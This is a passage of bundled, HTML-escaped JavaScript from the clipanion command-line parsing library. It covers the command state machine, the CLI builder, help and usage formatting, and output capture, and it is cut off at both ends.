      pushExtraNoLimits: (state, segment) =&gt; {
        return { ...state, positionals: state.positionals.concat({ value: segment, extra: NoLimits }) };
      },
      pushTrue: (state, segment, name2 = segment) =&gt; {
        return { ...state, options: state.options.concat({ name: segment, value: true }) };
      },
      pushFalse: (state, segment, name2 = segment) =&gt; {
        return { ...state, options: state.options.concat({ name: name2, value: false }) };
      },
      pushUndefined: (state, segment) =&gt; {
        return { ...state, options: state.options.concat({ name: segment, value: void 0 }) };
      },
      pushStringValue: (state, segment) =&gt; {
        var _a;
        const copy = { ...state, options: [...state.options] };
        const lastOption = state.options[state.options.length - 1];
        lastOption.value = ((_a = lastOption.value) !== null &amp;&amp; _a !== void 0 ? _a : []).concat([segment]);
        return copy;
      },
      setStringValue: (state, segment) =&gt; {
        const copy = { ...state, options: [...state.options] };
        const lastOption = state.options[state.options.length - 1];
        lastOption.value = segment;
        return copy;
      },
      inhibateOptions: (state) =&gt; {
        return { ...state, ignoreOptions: true };
      },
      useHelp: (state, segment, command) =&gt; {
        const [
          ,
          /* name */
          ,
          index
        ] = segment.match(constants2.HELP_REGEX);
        if (typeof index !== `undefined`) {
          return { ...state, options: [{ name: `-c`, value: String(command) }, { name: `-i`, value: index }] };
        } else {
          return { ...state, options: [{ name: `-c`, value: String(command) }] };
        }
      },
      setError: (state, segment, errorMessage) =&gt; {
        if (segment === constants2.END_OF_INPUT) {
          return { ...state, errorMessage: `${errorMessage}.` };
        } else {
          return { ...state, errorMessage: `${errorMessage} (&quot;${segment}&quot;).` };
        }
      },
      setOptionArityError: (state, segment) =&gt; {
        const lastOption = state.options[state.options.length - 1];
        return { ...state, errorMessage: `Not enough arguments to option ${lastOption.name}.` };
      }
    };
    var NoLimits = /* @__PURE__ */ Symbol();
    var CommandBuilder = class {
      constructor(cliIndex, cliOpts) {
        this.allOptionNames = [];
        this.arity = { leading: [], trailing: [], extra: [], proxy: false };
        this.options = [];
        this.paths = [];
        this.cliIndex = cliIndex;
        this.cliOpts = cliOpts;
      }
      addPath(path16) {
        this.paths.push(path16);
      }
      setArity({ leading = this.arity.leading, trailing = this.arity.trailing, extra = this.arity.extra, proxy = this.arity.proxy }) {
        Object.assign(this.arity, { leading, trailing, extra, proxy });
      }
      addPositional({ name: name2 = `arg`, required = true } = {}) {
        if (!required &amp;&amp; this.arity.extra === NoLimits)
          throw new Error(`Optional parameters cannot be declared when using .rest() or .proxy()`);
        if (!required &amp;&amp; this.arity.trailing.length &gt; 0)
          throw new Error(`Optional parameters cannot be declared after the required trailing positional arguments`);
        if (!required &amp;&amp; this.arity.extra !== NoLimits) {
          this.arity.extra.push(name2);
        } else if (this.arity.extra !== NoLimits &amp;&amp; this.arity.extra.length === 0) {
          this.arity.leading.push(name2);
        } else {
          this.arity.trailing.push(name2);
        }
      }
      addRest({ name: name2 = `arg`, required = 0 } = {}) {
        if (this.arity.extra === NoLimits)
          throw new Error(`Infinite lists cannot be declared multiple times in the same command`);
        if (this.arity.trailing.length &gt; 0)
          throw new Error(`Infinite lists cannot be declared after the required trailing positional arguments`);
        for (let t = 0; t &lt; required; ++t)
          this.addPositional({ name: name2 });
        this.arity.extra = NoLimits;
      }
      addProxy({ required = 0 } = {}) {
        this.addRest({ required });
        this.arity.proxy = true;
      }
      addOption({ names, description, arity = 0, hidden = false, required = false, allowBinding = true }) {
        if (!allowBinding &amp;&amp; arity &gt; 1)
          throw new Error(`The arity cannot be higher than 1 when the option only supports the --arg=value syntax`);
        if (!Number.isInteger(arity))
          throw new Error(`The arity must be an integer, got ${arity}`);
        if (arity &lt; 0)
          throw new Error(`The arity must be positive, got ${arity}`);
        this.allOptionNames.push(...names);
        this.options.push({ names, description, arity, hidden, required, allowBinding });
      }
      setContext(context) {
        this.context = context;
      }
      usage({ detailed = true, inlineOptions = true } = {}) {
        const segments = [this.cliOpts.binaryName];
        const detailedOptionList = [];
        if (this.paths.length &gt; 0)
          segments.push(...this.paths[0]);
        if (detailed) {
          for (const { names, arity, hidden, description, required } of this.options) {
            if (hidden)
              continue;
            const args = [];
            for (let t = 0; t &lt; arity; ++t)
              args.push(` #${t}`);
            const definition = `${names.join(`,`)}${args.join(``)}`;
            if (!inlineOptions &amp;&amp; description) {
              detailedOptionList.push({ definition, description, required });
            } else {
              segments.push(required ? `&lt;${definition}&gt;` : `[${definition}]`);
            }
          }
          segments.push(...this.arity.leading.map((name2) =&gt; `&lt;${name2}&gt;`));
          if (this.arity.extra === NoLimits)
            segments.push(`...`);
          else
            segments.push(...this.arity.extra.map((name2) =&gt; `[${name2}]`));
          segments.push(...this.arity.trailing.map((name2) =&gt; `&lt;${name2}&gt;`));
        }
        const usage = segments.join(` `);
        return { usage, options: detailedOptionList };
      }
      compile() {
        if (typeof this.context === `undefined`)
          throw new Error(`Assertion failed: No context attached`);
        const machine = makeStateMachine();
        let firstNode = constants2.NODE_INITIAL;
        const candidateUsage = this.usage().usage;
        const requiredOptions = this.options.filter((opt) =&gt; opt.required).map((opt) =&gt; opt.names);
        firstNode = injectNode(machine, makeNode());
        registerStatic(machine, constants2.NODE_INITIAL, constants2.START_OF_INPUT, firstNode, [`setCandidateState`, { candidateUsage, requiredOptions }]);
        const positionalArgument = this.arity.proxy ? `always` : `isNotOptionLike`;
        const paths = this.paths.length &gt; 0 ? this.paths : [[]];
        for (const path16 of paths) {
          let lastPathNode = firstNode;
          if (path16.length &gt; 0) {
            const optionPathNode = injectNode(machine, makeNode());
            registerShortcut(machine, lastPathNode, optionPathNode);
            this.registerOptions(machine, optionPathNode);
            lastPathNode = optionPathNode;
          }
          for (let t = 0; t &lt; path16.length; ++t) {
            const nextPathNode = injectNode(machine, makeNode());
            registerStatic(machine, lastPathNode, path16[t], nextPathNode, `pushPath`);
            lastPathNode = nextPathNode;
          }
          if (this.arity.leading.length &gt; 0 || !this.arity.proxy) {
            const helpNode = injectNode(machine, makeNode());
            registerDynamic(machine, lastPathNode, `isHelp`, helpNode, [`useHelp`, this.cliIndex]);
            registerDynamic(machine, helpNode, `always`, helpNode, `pushExtra`);
            registerStatic(machine, helpNode, constants2.END_OF_INPUT, constants2.NODE_SUCCESS, [`setSelectedIndex`, constants2.HELP_COMMAND_INDEX]);
            this.registerOptions(machine, lastPathNode);
          }
          if (this.arity.leading.length &gt; 0)
            registerStatic(machine, lastPathNode, constants2.END_OF_INPUT, constants2.NODE_ERRORED, [`setError`, `Not enough positional arguments`]);
          let lastLeadingNode = lastPathNode;
          for (let t = 0; t &lt; this.arity.leading.length; ++t) {
            const nextLeadingNode = injectNode(machine, makeNode());
            if (!this.arity.proxy || t + 1 !== this.arity.leading.length)
              this.registerOptions(machine, nextLeadingNode);
            if (this.arity.trailing.length &gt; 0 || t + 1 !== this.arity.leading.length)
              registerStatic(machine, nextLeadingNode, constants2.END_OF_INPUT, constants2.NODE_ERRORED, [`setError`, `Not enough positional arguments`]);
            registerDynamic(machine, lastLeadingNode, `isNotOptionLike`, nextLeadingNode, `pushPositional`);
            lastLeadingNode = nextLeadingNode;
          }
          let lastExtraNode = lastLeadingNode;
          if (this.arity.extra === NoLimits || this.arity.extra.length &gt; 0) {
            const extraShortcutNode = injectNode(machine, makeNode());
            registerShortcut(machine, lastLeadingNode, extraShortcutNode);
            if (this.arity.extra === NoLimits) {
              const extraNode = injectNode(machine, makeNode());
              if (!this.arity.proxy)
                this.registerOptions(machine, extraNode);
              registerDynamic(machine, lastLeadingNode, positionalArgument, extraNode, `pushExtraNoLimits`);
              registerDynamic(machine, extraNode, positionalArgument, extraNode, `pushExtraNoLimits`);
              registerShortcut(machine, extraNode, extraShortcutNode);
            } else {
              for (let t = 0; t &lt; this.arity.extra.length; ++t) {
                const nextExtraNode = injectNode(machine, makeNode());
                if (!this.arity.proxy || t &gt; 0)
                  this.registerOptions(machine, nextExtraNode);
                registerDynamic(machine, lastExtraNode, positionalArgument, nextExtraNode, `pushExtra`);
                registerShortcut(machine, nextExtraNode, extraShortcutNode);
                lastExtraNode = nextExtraNode;
              }
            }
            lastExtraNode = extraShortcutNode;
          }
          if (this.arity.trailing.length &gt; 0)
            registerStatic(machine, lastExtraNode, constants2.END_OF_INPUT, constants2.NODE_ERRORED, [`setError`, `Not enough positional arguments`]);
          let lastTrailingNode = lastExtraNode;
          for (let t = 0; t &lt; this.arity.trailing.length; ++t) {
            const nextTrailingNode = injectNode(machine, makeNode());
            if (!this.arity.proxy)
              this.registerOptions(machine, nextTrailingNode);
            if (t + 1 &lt; this.arity.trailing.length)
              registerStatic(machine, nextTrailingNode, constants2.END_OF_INPUT, constants2.NODE_ERRORED, [`setError`, `Not enough positional arguments`]);
            registerDynamic(machine, lastTrailingNode, `isNotOptionLike`, nextTrailingNode, `pushPositional`);
            lastTrailingNode = nextTrailingNode;
          }
          registerDynamic(machine, lastTrailingNode, positionalArgument, constants2.NODE_ERRORED, [`setError`, `Extraneous positional argument`]);
          registerStatic(machine, lastTrailingNode, constants2.END_OF_INPUT, constants2.NODE_SUCCESS, [`setSelectedIndex`, this.cliIndex]);
        }
        return {
          machine,
          context: this.context
        };
      }
      registerOptions(machine, node) {
        registerDynamic(machine, node, [`isOption`, `--`], node, `inhibateOptions`);
        registerDynamic(machine, node, [`isBatchOption`, this.allOptionNames], node, `pushBatch`);
        registerDynamic(machine, node, [`isBoundOption`, this.allOptionNames, this.options], node, `pushBound`);
        registerDynamic(machine, node, [`isUnsupportedOption`, this.allOptionNames], constants2.NODE_ERRORED, [`setError`, `Unsupported option name`]);
        registerDynamic(machine, node, [`isInvalidOption`], constants2.NODE_ERRORED, [`setError`, `Invalid option name`]);
        for (const option of this.options) {
          const longestName = option.names.reduce((longestName2, name2) =&gt; {
            return name2.length &gt; longestName2.length ? name2 : longestName2;
          }, ``);
          if (option.arity === 0) {
            for (const name2 of option.names) {
              registerDynamic(machine, node, [`isOption`, name2, option.hidden || name2 !== longestName], node, `pushTrue`);
              if (name2.startsWith(`--`) &amp;&amp; !name2.startsWith(`--no-`)) {
                registerDynamic(machine, node, [`isNegatedOption`, name2], node, [`pushFalse`, name2]);
              }
            }
          } else {
            let lastNode = injectNode(machine, makeNode());
            for (const name2 of option.names)
              registerDynamic(machine, node, [`isOption`, name2, option.hidden || name2 !== longestName], lastNode, `pushUndefined`);
            for (let t = 0; t &lt; option.arity; ++t) {
              const nextNode = injectNode(machine, makeNode());
              registerStatic(machine, lastNode, constants2.END_OF_INPUT, constants2.NODE_ERRORED, `setOptionArityError`);
              registerDynamic(machine, lastNode, `isOptionLike`, constants2.NODE_ERRORED, `setOptionArityError`);
              const action = option.arity === 1 ? `setStringValue` : `pushStringValue`;
              registerDynamic(machine, lastNode, `isNotOptionLike`, nextNode, action);
              lastNode = nextNode;
            }
            registerShortcut(machine, lastNode, node);
          }
        }
      }
    };
    var CliBuilder = class _CliBuilder {
      constructor({ binaryName = `...` } = {}) {
        this.builders = [];
        this.opts = { binaryName };
      }
      static build(cbs, opts = {}) {
        return new _CliBuilder(opts).commands(cbs).compile();
      }
      getBuilderByIndex(n) {
        if (!(n &gt;= 0 &amp;&amp; n &lt; this.builders.length))
          throw new Error(`Assertion failed: Out-of-bound command index (${n})`);
        return this.builders[n];
      }
      commands(cbs) {
        for (const cb of cbs)
          cb(this.command());
        return this;
      }
      command() {
        const builder = new CommandBuilder(this.builders.length, this.opts);
        this.builders.push(builder);
        return builder;
      }
      compile() {
        const machines = [];
        const contexts = [];
        for (const builder of this.builders) {
          const { machine: machine2, context } = builder.compile();
          machines.push(machine2);
          contexts.push(context);
        }
        const machine = makeAnyOfMachine(machines);
        simplifyMachine(machine);
        return {
          machine,
          contexts,
          process: (input) =&gt; {
            return runMachine(machine, input);
          },
          suggest: (input, partial) =&gt; {
            return suggestMachine(machine, input, partial);
          }
        };
      }
    };
    exports2.CliBuilder = CliBuilder;
    exports2.CommandBuilder = CommandBuilder;
    exports2.NoLimits = NoLimits;
    exports2.aggregateHelpStates = aggregateHelpStates;
    exports2.cloneNode = cloneNode;
    exports2.cloneTransition = cloneTransition;
    exports2.debug = debug;
    exports2.debugMachine = debugMachine;
    exports2.execute = execute;
    exports2.injectNode = injectNode;
    exports2.isTerminalNode = isTerminalNode;
    exports2.makeAnyOfMachine = makeAnyOfMachine;
    exports2.makeNode = makeNode;
    exports2.makeStateMachine = makeStateMachine;
    exports2.reducers = reducers;
    exports2.registerDynamic = registerDynamic;
    exports2.registerShortcut = registerShortcut;
    exports2.registerStatic = registerStatic;
    exports2.runMachineInternal = runMachineInternal;
    exports2.selectBestState = selectBestState;
    exports2.simplifyMachine = simplifyMachine;
    exports2.suggest = suggest;
    exports2.tests = tests;
    exports2.trimSmallerBranches = trimSmallerBranches;
  }
});

// node_modules/clipanion/lib/platform/node.mjs
var node_exports = {};
__export(node_exports, {
  getCaptureActivator: () =&gt; getCaptureActivator,
  getDefaultColorDepth: () =&gt; getDefaultColorDepth
});
function getDefaultColorDepth() {
  if (import_tty.default &amp;&amp; `getColorDepth` in import_tty.default.WriteStream.prototype)
    return import_tty.default.WriteStream.prototype.getColorDepth();
  if (process.env.FORCE_COLOR === `0`)
    return 1;
  if (process.env.FORCE_COLOR === `1`)
    return 8;
  if (typeof process.stdout !== `undefined` &amp;&amp; process.stdout.isTTY)
    return 8;
  return 1;
}
function getCaptureActivator(context) {
  let contextStorage = gContextStorage;
  if (typeof contextStorage === `undefined`) {
    if (context.stdout === process.stdout &amp;&amp; context.stderr === process.stderr)
      return null;
    const { AsyncLocalStorage: LazyAsyncLocalStorage } = require(&quot;async_hooks&quot;);
    contextStorage = gContextStorage = new LazyAsyncLocalStorage();
    const origStdoutWrite = process.stdout._write;
    process.stdout._write = function(chunk, encoding, cb) {
      const context2 = contextStorage.getStore();
      if (typeof context2 === `undefined`)
        return origStdoutWrite.call(this, chunk, encoding, cb);
      return context2.stdout.write(chunk, encoding, cb);
    };
    const origStderrWrite = process.stderr._write;
    process.stderr._write = function(chunk, encoding, cb) {
      const context2 = contextStorage.getStore();
      if (typeof context2 === `undefined`)
        return origStderrWrite.call(this, chunk, encoding, cb);
      return context2.stderr.write(chunk, encoding, cb);
    };
  }
  return (fn2) =&gt; {
    return contextStorage.run(context, fn2);
  };
}
var import_tty, gContextStorage;
var init_node = __esm({
  &quot;node_modules/clipanion/lib/platform/node.mjs&quot;() {
    import_tty = __toESM(require(&quot;tty&quot;), 1);
  }
});

// node_modules/clipanion/lib/advanced/HelpCommand.js
var require_HelpCommand = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/HelpCommand.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_Command = require_Command();
    var HelpCommand = class _HelpCommand extends advanced_Command.Command {
      constructor(contexts) {
        super();
        this.contexts = contexts;
        this.commands = [];
      }
      static from(state, contexts) {
        const command = new _HelpCommand(contexts);
        command.path = state.path;
        for (const opt of state.options) {
          switch (opt.name) {
            case `-c`:
              {
                command.commands.push(Number(opt.value));
              }
              break;
            case `-i`:
              {
                command.index = Number(opt.value);
              }
              break;
          }
        }
        return command;
      }
      async execute() {
        let commands = this.commands;
        if (typeof this.index !== `undefined` &amp;&amp; this.index &gt;= 0 &amp;&amp; this.index &lt; commands.length)
          commands = [commands[this.index]];
        if (commands.length === 0) {
          this.context.stdout.write(this.cli.usage());
        } else if (commands.length === 1) {
          this.context.stdout.write(this.cli.usage(this.contexts[commands[0]].commandClass, { detailed: true }));
        } else if (commands.length &gt; 1) {
          this.context.stdout.write(`Multiple commands match your selection:
`);
          this.context.stdout.write(`
`);
          let index = 0;
          for (const command of this.commands)
            this.context.stdout.write(this.cli.usage(this.contexts[command].commandClass, { prefix: `${index++}. `.padStart(5) }));
          this.context.stdout.write(`
`);
          this.context.stdout.write(`Run again with -h=&lt;index&gt; to see the longer details of any of those commands.
`);
        }
      }
    };
    exports2.HelpCommand = HelpCommand;
  }
});

// node_modules/clipanion/lib/advanced/Cli.js
var require_Cli = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/Cli.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var constants2 = require_constants();
    var core = require_core();
    var format = require_format();
    var platform5 = (init_node(), __toCommonJS(node_exports));
    var advanced_Command = require_Command();
    var advanced_HelpCommand = require_HelpCommand();
    var errorCommandSymbol = /* @__PURE__ */ Symbol(`clipanion/errorCommand`);
    async function runExit(...args) {
      const { resolvedOptions, resolvedCommandClasses, resolvedArgv, resolvedContext } = resolveRunParameters(args);
      const cli = Cli2.from(resolvedCommandClasses, resolvedOptions);
      return cli.runExit(resolvedArgv, resolvedContext);
    }
    async function run(...args) {
      const { resolvedOptions, resolvedCommandClasses, resolvedArgv, resolvedContext } = resolveRunParameters(args);
      const cli = Cli2.from(resolvedCommandClasses, resolvedOptions);
      return cli.run(resolvedArgv, resolvedContext);
    }
    function resolveRunParameters(args) {
      let resolvedOptions;
      let resolvedCommandClasses;
      let resolvedArgv;
      let resolvedContext;
      if (typeof process !== `undefined` &amp;&amp; typeof process.argv !== `undefined`)
        resolvedArgv = process.argv.slice(2);
      switch (args.length) {
        case 1:
          {
            resolvedCommandClasses = args[0];
          }
          break;
        case 2:
          {
            if (args[0] &amp;&amp; args[0].prototype instanceof advanced_Command.Command || Array.isArray(args[0])) {
              resolvedCommandClasses = args[0];
              if (Array.isArray(args[1])) {
                resolvedArgv = args[1];
              } else {
                resolvedContext = args[1];
              }
            } else {
              resolvedOptions = args[0];
              resolvedCommandClasses = args[1];
            }
          }
          break;
        case 3:
          {
            if (Array.isArray(args[2])) {
              resolvedOptions = args[0];
              resolvedCommandClasses = args[1];
              resolvedArgv = args[2];
            } else if (args[0] &amp;&amp; args[0].prototype instanceof advanced_Command.Command || Array.isArray(args[0])) {
              resolvedCommandClasses = args[0];
              resolvedArgv = args[1];
              resolvedContext = args[2];
            } else {
              resolvedOptions = args[0];
              resolvedCommandClasses = args[1];
              resolvedContext = args[2];
            }
          }
          break;
        default:
          {
            resolvedOptions = args[0];
            resolvedCommandClasses = args[1];
            resolvedArgv = args[2];
            resolvedContext = args[3];
          }
          break;
      }
      if (typeof resolvedArgv === `undefined`)
        throw new Error(`The argv parameter must be provided when running Clipanion outside of a Node context`);
      return {
        resolvedOptions,
        resolvedCommandClasses,
        resolvedArgv,
        resolvedContext
      };
    }
    var Cli2 = class _Cli {
      constructor({ binaryLabel, binaryName: binaryNameOpt = `...`, binaryVersion, enableCapture = false, enableColors } = {}) {
        this.registrations = /* @__PURE__ */ new Map();
        this.builder = new core.CliBuilder({ binaryName: binaryNameOpt });
        this.binaryLabel = binaryLabel;
        this.binaryName = binaryNameOpt;
        this.binaryVersion = binaryVersion;
        this.enableCapture = enableCapture;
        this.enableColors = enableColors;
      }
      /**
       * Creates a new Cli and registers all commands passed as parameters.
       *
       * @param commandClasses The Commands to register
       * @returns The created `Cli` instance
       */
      static from(commandClasses, options = {}) {
        const cli = new _Cli(options);
        const resolvedCommandClasses = Array.isArray(commandClasses) ? commandClasses : [commandClasses];
        for (const commandClass of resolvedCommandClasses)
          cli.register(commandClass);
        return cli;
      }
      /**
       * Registers a command inside the CLI.
       */
      register(commandClass) {
        var _a;
        const specs = /* @__PURE__ */ new Map();
        const command = new commandClass();
        for (const key in command) {
          const value = command[key];
          if (typeof value === `object` &amp;&amp; value !== null &amp;&amp; value[advanced_Command.Command.isOption]) {
            specs.set(key, value);
          }
        }
        const builder = this.builder.command();
        const index = builder.cliIndex;
        const paths = (_a = commandClass.paths) !== null &amp;&amp; _a !== void 0 ? _a : command.paths;
        if (typeof paths !== `undefined`)
          for (const path16 of paths)
            builder.addPath(path16);
        this.registrations.set(commandClass, { specs, builder, index });
        for (const [key, { definition }] of specs.entries())
          definition(builder, key);
        builder.setContext({
          commandClass
        });
      }
      process(input, userContext) {
        const { contexts, process: process5 } = this.builder.compile();
        const state = process5(input);
        const context = {
          ..._Cli.defaultContext,
          ...userContext
        };
        switch (state.selectedIndex) {
          case constants2.HELP_COMMAND_INDEX: {
            const command = advanced_HelpCommand.HelpCommand.from(state, contexts);
            command.context = context;
            return command;
          }
          default:
            {
              const { commandClass } = contexts[state.selectedIndex];
              const record = this.registrations.get(commandClass);
              if (typeof record === `undefined`)
                throw new Error(`Assertion failed: Expected the command class to have been registered.`);
              const command = new commandClass();
              command.context = context;
              command.path = state.path;
              try {
                for (const [key, { transformer }] of record.specs.entries())
                  command[key] = transformer(record.builder, key, state, context);
                return command;
              } catch (error) {
                error[errorCommandSymbol] = command;
                throw error;
              }
            }
            break;
        }
      }
      async run(input, userContext) {
        var _a, _b;
        let command;
        const context = {
          ..._Cli.defaultContext,
          ...userContext
        };
        const colored = (_a = this.enableColors) !== null &amp;&amp; _a !== void 0 ? _a : context.colorDepth &gt; 1;
        if (!Array.isArray(input)) {
          command = input;
        } else {
          try {
            command = this.process(input, context);
          } catch (error) {
            context.stdout.write(this.error(error, { colored }));
            return 1;
          }
        }
        if (command.help) {
          context.stdout.write(this.usage(command, { colored, detailed: true }));
          return 0;
        }
        command.context = context;
        command.cli = {
          binaryLabel: this.binaryLabel,
          binaryName: this.binaryName,
          binaryVersion: this.binaryVersion,
          enableCapture: this.enableCapture,
          enableColors: this.enableColors,
          definitions: () =&gt; this.definitions(),
          error: (error, opts) =&gt; this.error(error, opts),
          format: (colored2) =&gt; this.format(colored2),
          process: (input2, subContext) =&gt; this.process(input2, { ...context, ...subContext }),
          run: (input2, subContext) =&gt; this.run(input2, { ...context, ...subContext }),
          usage: (command2, opts) =&gt; this.usage(command2, opts)
        };
        const activate = this.enableCapture ? (_b = platform5.getCaptureActivator(context)) !== null &amp;&amp; _b !== void 0 ? _b : noopCaptureActivator : noopCaptureActivator;
        let exitCode;
        try {
          exitCode = await activate(() =&gt; command.validateAndExecute().catch((error) =&gt; command.catch(error).then(() =&gt; 0)));
        } catch (error) {
          context.stdout.write(this.error(error, { colored, command }));
          return 1;
        }
        return exitCode;
      }
      async runExit(input, context) {
        process.exitCode = await this.run(input, context);
      }
      suggest(input, partial) {
        const { suggest } = this.builder.compile();
        return suggest(input, partial);
      }
      definitions({ colored = false } = {}) {
        const data = [];
        for (const [commandClass, { index }] of this.registrations) {
          if (typeof commandClass.usage === `undefined`)
            continue;
          const { usage: path16 } = this.getUsageByIndex(index, { detailed: false });
          const { usage, options } = this.getUsageByIndex(index, { detailed: true, inlineOptions: false });
          const category = typeof commandClass.usage.category !== `undefined` ? format.formatMarkdownish(commandClass.usage.category, { format: this.format(colored), paragraphs: false }) : void 0;
          const description = typeof commandClass.usage.description !== `undefined` ? format.formatMarkdownish(commandClass.usage.description, { format: this.format(colored), paragraphs: false }) : void 0;
          const details = typeof commandClass.usage.details !== `undefined` ? format.formatMarkdownish(commandClass.usage.details, { format: this.format(colored), paragraphs: true }) : void 0;
          const examples = typeof commandClass.usage.examples !== `undefined` ? commandClass.usage.examples.map(([label, cli]) =&gt; [format.formatMarkdownish(label, { format: this.format(colored), paragraphs: false }), cli.replace(/\$0/g, this.binaryName)]) : void 0;
          data.push({ path: path16, usage, category, description, details, examples, options });
        }
        return data;
      }
      usage(command = null, { colored, detailed = false, prefix = `$ ` } = {}) {
        var _a;
        if (command === null) {
          for (const commandClass2 of this.registrations.keys()) {
            const paths = commandClass2.paths;
            const isDocumented = typeof commandClass2.usage !== `undefined`;
            const isExclusivelyDefault = !paths || paths.length === 0 || paths.length === 1 &amp;&amp; paths[0].length === 0;
            const isDefault = isExclusivelyDefault || ((_a = paths === null || paths === void 0 ? void 0 : paths.some((path16) =&gt; path16.length === 0)) !== null &amp;&amp; _a !== void 0 ? _a : false);
            if (isDefault) {
              if (command) {
                command = null;
                break;
              } else {
                command = commandClass2;
              }
            } else {
              if (isDocumented) {
                command = null;
                continue;
              }
            }
          }
          if (command) {
            detailed = true;
          }
        }
        const commandClass = command !== null &amp;&amp; command instanceof advanced_Command.Command ? command.constructor : command;
        let result = ``;
        if (!commandClass) {
          const commandsByCategories = /* @__PURE__ */ new Map();
          for (const [commandClass2, { index }] of this.registrations.entries()) {
            if (typeof commandClass2.usage === `undefined`)
              continue;
            const category = typeof commandClass2.usage.category !== `undefined` ? format.formatMarkdownish(commandClass2.usage.category, { format: this.format(colored), paragraphs: false }) : null;
            let categoryCommands = commandsByCategories.get(category);
            if (typeof categoryCommands === `undefined`)
              commandsByCategories.set(category, categoryCommands = []);
            const { usage } = this.getUsageByIndex(index);
            categoryCommands.push({ commandClass: commandClass2, usage });
          }
          const categoryNames = Array.from(commandsByCategories.keys()).sort((a, b) =&gt; {
            if (a === null)
              return -1;
            if (b === null)
              return 1;
            return a.localeCompare(b, `en`, { usage: `sort`, caseFirst: `upper` });
          });
          const hasLabel = typeof this.binaryLabel !== `undefined`;
          const hasVersion = typeof this.binaryVersion !== `undefined`;
          if (hasLabel || hasVersion) {
            if (hasLabel &amp;&amp; hasVersion)
              result += `${this.format(colored).header(`${this.binaryLabel} - ${this.binaryVersion}`)}

`;
            else if (hasLabel)
              result += `${this.format(colored).header(`${this.binaryLabel}`)}
`;
            else
              result += `${this.format(colored).header(`${this.binaryVersion}`)}
`;
            result += `  ${this.format(colored).bold(prefix)}${this.binaryName} &lt;command&gt;
`;
          } else {
            result += `${this.format(colored).bold(prefix)}${this.binaryName} &lt;command&gt;
`;
          }
          for (const categoryName of categoryNames) {
            const commands = commandsByCategories.get(categoryName).slice().sort((a, b) =&gt; {
              return a.usage.localeCompare(b.usage, `en`, { usage: `sort`, caseFirst: `upper` });
            });
            const header = categoryName !== null ? categoryName.trim() : `General commands`;
            result += `
`;
            result += `${this.format(colored).header(`${header}`)}
`;
            for (const { commandClass: commandClass2, usage } of commands) {
              const doc = commandClass2.usage.description || `undocumented`;
              result += `
`;
              result += `  ${this.format(colored).bold(usage)}
`;
              result += `    ${format.formatMarkdownish(doc, { format: this.format(colored), paragraphs: false })}`;
            }
          }
          result += `
`;
          result += format.formatMarkdownish(`You can also print more details about any of these commands by calling them with the \`-h,--help\` flag right after the command name.`, { format: this.format(colored), paragraphs: true });
        } else {
          if (!detailed) {
            const { usage } = this.getUsageByRegistration(commandClass);
            result += `${this.format(colored).bold(prefix)}${usage}
`;
          } else {
            const { description = ``, details = ``, examples = [] } = commandClass.usage || {};
            if (description !== ``) {
              result += format.formatMarkdownish(description, { format: this.format(colored), paragraphs: false }).replace(/^./, ($0) =&gt; $0.toUpperCase());
              result += `
`;
            }
            if (details !== `` || examples.length &gt; 0) {
              result += `${this.format(colored).header(`Usage`)}
`;
              result += `
`;
            }
            const { usage, options } = this.getUsageByRegistration(commandClass, { inlineOptions: false });
            result += `${this.format(colored).bold(prefix)}${usage}
`;
            if (options.length &gt; 0) {
              result += `
`;
              result += `${this.format(colored).header(`Options`)}
`;
              const maxDefinitionLength = options.reduce((length, option) =&gt; {
                return Math.max(length, option.definition.length);
              }, 0);
              result += `
`;
              for (const { definition, description: description2 } of options) {
                result += `  ${this.format(colored).bold(definition.padEnd(maxDefinitionLength))}    ${format.formatMarkdownish(description2, { format: this.format(colored), paragraphs: false })}`;
              }
            }
            if (details !== ``) {
              result += `
`;
              result += `${this.format(colored).header(`Details`)}
`;
              result += `
`;
              result += format.formatMarkdownish(details, { format: this.format(colored), paragraphs: true });
            }
            if (examples.length &gt; 0) {
              result += `
`;
              result += `${this.format(colored).header(`Examples`)}
`;
              for (const [description2, example] of examples) {
                result += `
`;
                result += format.formatMarkdownish(description2, { format: this.format(colored), paragraphs: false });
                result += `${example.replace(/^/m, `  ${this.format(colored).bold(prefix)}`).replace(/\$0/g, this.binaryName)}
`;
              }
            }
          }
        }
        return result;
      }
      error(error, _a) {
        var _b;
        var { colored, command = (_b = error[errorCommandSymbol]) !== null &amp;&amp; _b !== void 0 ? _b : null } = _a === void 0 ? {} : _a;
        if (!error || typeof error !== `object` || !(`stack` in error))
          error = new Error(`Execution failed with a non-error rejection (rejected value: ${JSON.stringify(error)})`);
        let result = ``;
        let name2 = error.name.replace(/([a-z])([A-Z])/g, `$1 $2`);
        if (name2 === `Error`)
          name2 = `Internal Error`;
        result += `${this.format(colored).error(name2)}: ${error.message}
`;
        const meta = error.clipanion;
        if (typeof meta !== `undefined`) {
          if (meta.type === `usage`) {
            result += `
`;
            result += this.usage(command);
          }
        } else {
          if (error.stack) {
            result += `${error.stack.replace(/^.*\n/, ``)}
`;
          }
        }
        return result;
      }
      format(colored) {
        var _a;
        return ((_a = colored !== null &amp;&amp; colored !== void 0 ? colored : this.enableColors) !== null &amp;&amp; _a !== void 0 ? _a : _Cli.defaultContext.colorDepth &gt; 1) ? format.richFormat : format.textFormat;
      }
      getUsageByRegistration(klass, opts) {
        const record = this.registrations.get(klass);
        if (typeof record === `undefined`)
          throw new Error(`Assertion failed: Unregistered command`);
        return this.getUsageByIndex(record.index, opts);
      }
      getUsageByIndex(n, opts) {
        return this.builder.getBuilderByIndex(n).usage(opts);
      }
    };
    Cli2.defaultContext = {
      env: process.env,
      stdin: process.stdin,
      stdout: process.stdout,
      stderr: process.stderr,
      colorDepth: platform5.getDefaultColorDepth()
    };
    function noopCaptureActivator(fn2) {
      return fn2();
    }
    exports2.Cli = Cli2;
    exports2.run = run;
    exports2.runExit = runExit;
  }
});

// node_modules/clipanion/lib/advanced/builtins/definitions.js
var require_definitions = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/builtins/definitions.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_Command = require_Command();
    var DefinitionsCommand = class extends advanced_Command.Command {
      async execute() {
        this.context.stdout.write(`${JSON.stringify(this.cli.definitions(), null, 2)}
`);
      }
    };
